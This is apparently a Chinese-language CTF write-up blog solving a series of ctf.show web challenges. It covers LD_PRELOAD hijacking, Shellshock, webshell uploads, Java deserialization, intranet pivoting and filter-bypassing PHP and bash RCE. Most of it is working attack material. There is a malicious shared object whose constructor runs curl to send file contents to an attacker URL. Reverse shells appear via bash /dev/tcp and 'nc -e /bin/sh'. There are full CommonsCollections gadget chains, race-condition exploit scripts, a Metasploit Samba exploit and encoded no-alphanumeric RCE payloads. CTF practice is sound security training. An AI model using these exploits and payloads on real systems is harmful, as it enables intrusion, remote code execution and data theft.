gcc -c -fPIC hack.c -o hack&&gcc --share hack -o hack.so
import requests
url="http://43af8270-3d9e-416a-8fdb-d1fc1115715b.challenge.ctf.show/"
data={'file':'/tmp/hack.so','content':open('hack.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')

web815

 <?php
error_reporting(0);

$action = $_GET['a'];
switch ($action) {
    case 'phpinfo':
        phpinfo();
        break;
    
    case 'write':
        file_put_contents($_POST['file'],$_POST['content']);
        break;

    case 'run':
        putenv($_GET['env']);
        mail("","","","");
        break;

    default:
        highlight_file(__FILE__);
        break;
} 

继续劫持,有点像贵阳那个劫持方法,在正常代码执行之前执行我们的恶意代码

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;

__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("curl http://url:port?s=`cat /*`");
}

gcc -c -fPIC hack.c -o hack&&gcc --share hack -o hack.so
import requests
url="http://03e18d36-ea33-478b-8ab2-506f67fb4e3b.challenge.ctf.show/"
data={'file':'/tmp/hack.so','content':open('hack.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')

web816

<?php
error_reporting(0);

$env = $_GET['env'];
if(isset($env)){
    putenv($env.scandir("/tmp")[2]);
    system("echo ctfshow");
}else{
    highlight_file(__FILE__);
}

有点像虎符ctf的ezphp,还是劫持,不过这里我们不能直接上传文件了,可以用临时文件打,hack.so用上题那个

import requests
url="http://6f1fba1f-43b2-45c8-a34f-cc9c995cde9e.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
files={'file':open('hack.so','rb').read()}
response=requests.post(url,files=files)

web817

$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
	shell_exec(shell_exec("cat $file"));

}

首先这里限制了只能为/字母数字的file,所以不能用日志,一眼顶针虎符ezphp,文件描述/proc/pid/fd/xxx可能存在web日志

import  threading, requests
import socket
import re
port= 28108
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

	'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)

con="curl http://url:port?a=`cat /f*`;"+'0'*1024*500
l = len(con)
def upload():
	while True:
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',port))
		x=f'''POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: {l}
Content-Type: application/x-www-form-urlencoded
Connection: close

{con}

		'''.encode()
		s.send(x)
		s.close()

def bruter():
	while True:
		for fd in range(3,40):
			print(fd)
			s=socket.socket()
			s.connect(('pwn.challenge.ctf.show',port))
			s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
Connection: close

'''.encode())
			print(s.recv(2048).decode())
			s.close()


for i in range(30):
    t = threading.Thread(target=upload)
    t.start()
for j in range(30):
    a = threading.Thread(target=bruter)
    a.start()

web818

不知道是不是因为大一对虎符ctf ezphp印象太深刻了,感觉每个劫持题都像它

$env = $_GET['env'];
if(isset($env)){
	putenv($env);
	system("echo ctfshow");
}else{
	system("ps aux");
}

可以说和那个题一模一样了,hack.so用之前那个就行了

# coding: utf-8

import urllib.parse
import  threading, requests
import socket
import re
port= 28107
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

	'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('hack.so','rb').read()+b'\n'*1024*200)).encode()
def upload():
	while True:
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',port))	
		x=b'''POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Content-Length: '''+l+b'''
Content-Type: application/x-www-form-urlencoded
Connection: close

'''+open('hack.so','rb').read()+b'\n'*1024*200+b'''

'''
		s.send(x)
		s.close()

def bruter():
	while True:
		for fd in range(3,40):
			print(fd)
			s=socket.socket()
			s.connect(('pwn.challenge.ctf.show',port))
			s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Connection: close

'''.encode())
			print(s.recv(2048).decode())
			s.close()


for i in range(30):
    t = threading.Thread(target=upload)
    t.start()
for j in range(30):
    a = threading.Thread(target=bruter)
    a.start()

web819

破壳漏洞,我还以为是p牛那篇环境变量注入呢

?env=BASH_FUNC_whoami%%=() { cat /f*;}

web820

 <?php
error_reporting(0);

if(strlen($_FILES['file']['tmp_name'])>0){
    $filetype = $_FILES['file']['type'];
    $tmpname = $_FILES['file']['tmp_name'];
    $ef = getimagesize($tmpname);

    if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
        $content = base64_decode(file_get_contents($tmpname));
        file_put_contents("shell.php", $content);
        echo "file upload success!";
    }
}else{
    highlight_file(__FILE__);
} 

会将我们上传的图片base64解码后写入到shell.php中,base64中是4位4位进行解码的,所以我们要在正常的图片加上一句话木马base64编码后的数据,然后因为不知道多少位解码,我们要加上1补码,就一个一个试,一个1不行就两个1,我PD9前面那几个1就是补码

web入门·java反序列化

进军java!

web846

所以只要用用ysoserial里那个URLDNS的payload构造一下对当前地址的dns查询即可(记得去一下空格),ysoserial下载地址(来自yu22x师傅):https://pan.baidu.com/s/1Sx61GihwHtDsaDXbL7Q7uQ?pwd=jt5w

java -jar ysoserial.jar URLDNS "题目地址"|base64

web847

在ysoserial中cc1、cc3、cc5、cc6、cc7对应的commons-collections:3.1,cc2、cc4对应的commons-collections4:4.0,所以在3.1中随便挑一个运行反弹shell即可。(以上话均来自于yu22x师傅原文,yu22x师傅我的超人😍)

payload:

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 

这里因为没回显,所以我们执行的命令可以是反弹shell,也就是bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1,否则只能用内存马读回显了,那还得自己写链子,不像现在有现成工具,当脚本小子就行了,然后监听端口,执行命令,拿到flag

web848

不准用TransformedMap类反序列化,也就是说cc1被ban了,换个其他的即可,比如cc3

java -jar ysoserial.jar CommonsCollections3 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 

然后执行命令是反弹shell同上

web849

题目描述是:CC链之二,可以用nc反弹

所以用cc2或者cc4,然后nc反弹一下(奇怪,不是说nc命令被删了吗),也就是nc ip port -e /bin/sh

java -jar ysoserial.jar CommonsCollections2 "nc ip port -e /bin/sh "|base64 

web850

所以cc3即可,其他同

java -jar ysoserial.jar CommonsCollections3  "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64

web851

参考:Javaweb安全——反序列化漏洞-commons-collections4利用链(CC2和CC4)

将之前CC7的链子里的decorate换成lazyMap就行,导入的包名变org.apache.commons.collections4,改成适用于commons-collections4的链子

package com.CC;

import  org.apache.commons.collections4.Transformer;
import  org.apache.commons.collections4.functors.ChainedTransformer;
import  org.apache.commons.collections4.functors.ConstantTransformer;
import  org.apache.commons.collections4.functors.InvokerTransformer;
import  org.apache.commons.collections4.keyvalue.TiedMapEntry;
import  org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

import java.util.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;


public class CC {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"nc yourip -e /bin/sh",}), //这里反弹shell,ip改成你自己vps的
                new ConstantTransformer(1)};
        //防止payload生成过程中触发,先放进去一个空的Transform
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet expMap = new HashSet();
        expMap.add(entry);
        //移除entry那lazyMap的键
        lazyMap.remove("foo");
        //通过反射将真正的恶意Transform放进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        String payload = new String(Base64.getEncoder().encode(barr.toByteArray()));
        System.out.println(payload);
    }
}

web852

同上

web853

之前那个改的链子打不通了,显示java.lang.ClassNotFoundException: ClassName Not Support,用yu22x师傅的链子改一下:

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Constructor;

import java.util.Base64;
import java.io.ByteArrayOutputStream;

public class Main{
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException,Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc ip port -e /bin/sh"})
        };
        Transformer transformerChain2 = new ChainedTransformer(transformers);


        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Class<DefaultedMap> d = DefaultedMap.class;
        Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
        declaredConstructor.setAccessible(true);
        DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain2);
        DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain2);

        defaultedMap1.put("yy", 1);
        defaultedMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(defaultedMap1, 1);
        hashtable.put(defaultedMap2, 1);
        defaultedMap2.remove("yy");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);

    }
}

windows下会报错,因为没法执行nc,所以建议linux下使用

内网渗透

web859_有跳板机

登录上去后sudo -s进入root权限,然后home目录创一个ctfshow目录,chmod 777 ctfshow给一下权限,然后就可以用xftp给ctfshow目录传一个fscan_amd64,接着上去扫一下内网。

先ifconfig看一下ip

然后chmod 777 fscan_amd64给一下执行权限,然后就可以开扫了

./fscan_amd64 -h 172.2.123.4/24

这个445端口的ip看起来很可疑,用msf打下Samba

msfconsole
use exploit/linux/samba/is_known_pipename
set rhost 172.2.123.6
exploit 

拿到shell执行命令即可

单层ssh隧道搭建

简单讲讲内网隧道的搭建,SSH命令其实也可以用于建立本地端口转发(Local Port Forwarding)的连接

ssh -L 8085:172.2.136.5:80 ctfshow@pwn.challenge.ctf.show -p 28227

这里相当于我们已经获得了一台服务器的权限(因为题目里我们可以直接控制pwn.challenge.ctf.show,所所以实战中相当于一台被我们在外网打点中拿下的服务器),然后我们用这个可控服务器作为跳板攻击和这个服务器在同一内网中的其他机器,这里我们将本地的8085端口转发到可控服务器内网中172.2.136.5的80端口,然后而就可以访问127.0.0.1:8085以访问172.2.136.5:80,这个172.2.136.5:80就是我们从内网里扫出来的那一台有80端口的机器

多层ssh隧道搭建

打内网的时候经常出现的事就是我们获得了一台内网里服务器的权限,然后要通过这台服务器打其他机器,大概就是:

window攻击机->linux机器(可控)->与linux机器在同一个内网内的其他机器

因为直接用拿下权限的linux机器作为攻击机显然很麻烦,很多工具都不在,所以我们一般都会把这台机器作为工具搭建内网隧道,这样我们就可以用window攻击机访问深层内网的其他机器了,还是以上面那个题作为例子,这次我们把过程变复杂一点。

这是我的vps,我们用vps把中可控linux机器内网中ip为172.2.136.5的80端口转发到本地9383端口:

ssh -L 9383:172.2.136.5:80 ctfshow@pwn.challenge.ctf.show -p 28227

然后我们用同样方式,把远程vps上的9383端口转发到本地的8086端口:

ssh -L 8086:127.0.0.1:9383 root@vps_ip -p vps_port

过程就是:远程主机172.2.136.5的80端口转发到vps的9383端口,再把vps的9383端口转发到本地window机器的8086端口,因此我们通过访问本地window机器的8086端口就可以访问远程主机内网中172.2.136.5的80端口上的服务:

二层内网的话也可以用相同方式

元旦水友赛

easy_include

 <?php

function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
    include "file://".$_POST[1];
}

包含session

import requests

url = "http://0da655f6-a9eb-4f82-82cf-42afc01b595b.challenge.ctf.show/"

data = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
    '1':'localhost/tmp/sess_ctfshow',
    '2':'system("cat /flag_is_here.txt");'
}
file = {
    'file': 'ctfshow'
}
cookies = {
    'PHPSESSID': 'ctfshow'
}

response = requests.post(url=url,data=data,files=file,cookies=cookies)

print(response.text)

easy_web

<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);


function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}

class ctf{
    public $h1;
    public $h2;

    public function __wakeup(){
        throw new Exception("fastfast");
    }

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
    public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }

    public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");
        }
        return "Go on";
        }
}


if (!$_GET['show_show.show']){
    echo "开胃小菜,就让我成为签到题叭";
    highlight_file(__FILE__);
}else{
    echo "WAF,启动!";
    waf1($_REQUEST);
    waf2($_SERVER['QUERY_STRING']);
    if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }else{
        echo "被waf啦";
    }

}

拆开看,把waf啥的都先不看,关键是触发到Chu0_write的toString()

<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);

class ctf{
    public $h1;
    public $h2;

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public function __toString(){
        echo "__toString"."<br>";
        }
}

unserialize($_GET['show_show.show']);

链子倒是不难

ctf::__destruct
↓↓↓
show::__call()
↓↓↓
Chu0_write::tostring

给ctf->$h1赋为show,这样触发call,然后$b=new Chu0_write(); $c=array(”,”,$b);$a->h2=array($c);实现对Chu0_write::tostring的触发

<?php
class ctf{
    public $h1;
    public $h2;

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public function __toString(){
        echo "__toString"."<br>";
        }
}
$a=new ctf();
$b=new Chu0_write();
$c=array('','',$b);
$a->h1=new show();
$a->h2=array($c);
echo serialize($a);
#O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":0:{}}}}
?>

传的时候用show[show.show,php判断的时候会把第一个[转为_然后后面的就不修改了。然后来看waf

function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

这个简单,后面判断是waf1($_REQUEST);,同时传post和get其实只会判断get,所以post随便传一个1就行了。

RCE极限挑战

RCE挑战1

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

php里可以用<?=xxx ?>输出表达式的值,所以我们可以闭合前面的<?php,然后用反引号输出执行命令的结果:

code=?><?= `cat /f*`; 

当然也可以用我之前[HBCTF2017]大美西安的方法,直接echo出执行结果:

code=echo `cat /f*`;

RCE挑战2

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

因为我对正则不是很熟悉,所以本来想直接问ChatGPT过滤了啥,网上看到了一个大佬的脚本挺好的,其实直接暴力遍历一遍就可以了:

<?php
for($a = 0; $a < 256; $a++){
    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($a))){
        echo chr($a)." ";
    }
}
?>

大概剩下的可用的就是,那些不可见字符就算了:

! $ ' ( ) + , . / ; = [ ] _

简单看下过滤,其实和之前训练营那个题差不多,改改就能用,不过训练营我们使用了$__=++$____; –$__;这种形式构造了数字零,但这里减号被过滤了所以没法了。因此需要找其他途径,当时我们构造零的作用是为了在(_/_).”=NAN后用数组的形式取出第一个字母,所以需要((_/_).”){0}=’N’,不过其实除了这样还有种方法也可以完成这件事,我们在这里可以用一个判断,比如我们在[]里加一个==$,此时因为空和$不同,它就会输出0,此时也就等同于$_[0],所以事实上((_/_).”)[”==’$’]=’N’

最后我们拿之前结营赛的payload构造一下:

$____=((_/_).'')[''=='$']; #N
$_____=++$____; #O
++$____; #P
$______=$____; #$______=P
++$____; #Q
++$____; #R
++$____; #S
$_______=$____; #$_______=S
++$____; #T
$________=$____; #$________=T
$_________=$______.$_____.$_______.$________; #POST
$_________='_'.$_________; #_POST
$$_________[_]($$_________[__]); #$_POST[_]($_POST[__];)

所以payload为:

$____=((_/_).'')[''=='$'];$_____=++$____; ++$____;$______=$____; ++$____;++$____;++$____; $_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________='_'.$_________;$$_________[_]($$_________[__]);

最后可以直接POST执行命令的payload为:

ctf_show=%24____%3D((_%2F_).'')%5B''%3D%3D'%24'%5D%3B%24_____%3D%2B%2B%24____%3B%20%2B%2B%24____%3B%24______%3D%24____%3B%20%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%20%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%5B_%5D(%24%24_________%5B__%5D)%3B&_=system&__=cat /f*

RCE挑战3

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

可用字符:

$ ( ) + , . / 0 1 ; = [ ] _ 

比上一道题少过滤了0和1,多过滤了!和’,但这里限制了我们的payload的长度必须少于105,所以现在咱们得思考怎么缩短长度,现在构造的payload:

$_=((_/_)._)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[1]); // $_POST[_]($_POST[1]);

即:

$_=((_/_)._)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);

可以看到payload肉眼可见的变短了很多,长度只有80,可谓超额完成了任务😂

直接POST拿flag的payload:

ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B1%5D)%3B&_=system&1=cat /f*

RCE挑战4

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

可用字符为:

$ ( ) + , . / 0 ; = [ ] _

这里长度限制为84以下,和上一题比也就是多过滤了1,并且再一次限制了payload长度。不过我们上一题做的比较好,长度也才80,把那个1改成0这道题也能用了:

$_=((_/_).$_)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);

直接POST拿flag的payload:

ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=cat /f*

RCE挑战5

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

可用字符:

$ ( ) + , . / ; = [ ] _

比上一个题多过滤了0,而且长度限制在了73以内。看了下其他师傅的wp,发现了些神奇操作,首先对于取第一个字母N其实根本不需要用[0],甚至也不需要[”==’$’],其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符:

其次这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串:

$_=_(_/_)[_];  //相当于gettext(0/0)[0],得到N

其次,这里其实可以用不可见字符代替变量名,比如用$%FA,出题人的73位预期解是:

<?php
$_=_(_/_)[_];//相当于gettext(0/0)[0],得到N
$_=++$_;//O
$%FA=_.++$_.$_;//_PO
$_++;$_++;//R
$%FA.=++$_.++$_;//_POST
$$_[_]($$_[%FA]);//$_POST[a]($_POST[_])

72位的解法:

<?php
$_=_(_._)[_];
$_++;
$%FA=$_.$_++; //这里为PO
$_++;$_++;
$_=_.$%FA.++$_.++$_;
$$_[_]($$_[%FA]);

62位的神仙解法:

<?PHP
$_=_(%FA.%FA)[_];//N  //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])

传payload的时候记得用burpsuite别直接用hackbar,因为hackbar会把传上去的东西进行了编码,我们的不可见字符就判定为三个字符了。这个解属于比较通用的,没用gettext,感觉一般服务器上也不会开那玩意儿吧,遇到一般的无字母数字webshell题这个解也够用了,我想用那个62字符的构造通用解发现(_/_._)[_]经常报错,不知道为啥。

ctf_show=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /f*

如果[]被ban了就换{},php里这俩可以混用,如果这两个都被ban了骚年还是换其他方法做吧

ctf_show=$_=(_/_._){_};$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_{_}($$_{%FA});&_=passthru&%FA=cat /f*

极限命令执行

极限命令执行1

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}
?> 

可用字符:

 ! $ ' ( ) , . / 0 1 2 3 4 5 6 7 8 9 = ? \ a ~ 

可以用数字和字母a,我们不难联想到p牛博客里提到的用?通配符通配未知字母以此来执行这个getflag,payload:

ctf_show=/?????a?

极限命令执行2

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

check.php过滤的字符未知,我们手动fuzz一下,可用字符少了?,通配符这条路不行了,这里可以用另一种方法,我们可以用$’\xxx’的方式执行命令,其中xxx是ascii字母的8进制值,比如用$’\154\163’代替ls:

因此只要用八进制代替一下/getflag即可,payload:

ctf_show=$'\57\147\145\164\146\154\141\147'

极限命令执行3

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

这里禁用了除了01以外的数字。

补充一个知识,在linux里我们可以用”进制#数字”来表示十进制的数字,也就是说我可以用”2#100″可以表达4:

因此这里的想法也就很明显了,就是用这种形式的二进制数字构造像上面一样的字母八进制,因此ls就是$(($((1<<1))#10011010))和$(($((1<<1))#10100011)),理论上我们可以用$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'执行ls命令,事实却是不行:

原因是这种套娃linux默认只解析一层,想让它再次把$’\154\163’解析成ls我们可以用一个bash语法:command [args] <<<[“]$word[“];也就是说在我们的命令前加bash<<<即可执行,那么用什么表示bash呢这里又不能用字母,看我发的那篇无字母数字rce黑魔法就知道有个神奇的shell脚本变量$0可以表示脚本本身的名字,而这里也就是bash,所以我们改造一下我们的命令,变成:bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' 即可成功执行:

不过这种执行方法有个缺点,因为他会把整个字符串整体当做命令执行,因此如果我们想执行cat /flag它会认为”cat /flag”这个整体是一个命令,而不是cat是命令,/flag是目标,最后导致执行失败

但这样还是有解决途径的,我们可以通过两次here-strings的方法来解析复杂的带参数命令cat /flag

ctf_show=$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

具体原理我也没怎么懂,感觉就是加了一句$0\<\<\<,再分享一个g4_simon师傅的脚本:

import requests

#level3

url="http://15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show/"

cmd='cat /flag'

payload='$0<<<$0\\<\\<\\<\\$\\\''
for c in cmd:
        payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'

payload+='\\\''

r=requests.post(url,data={"ctf_show":payload,})
print(r.text)

极限命令执行4
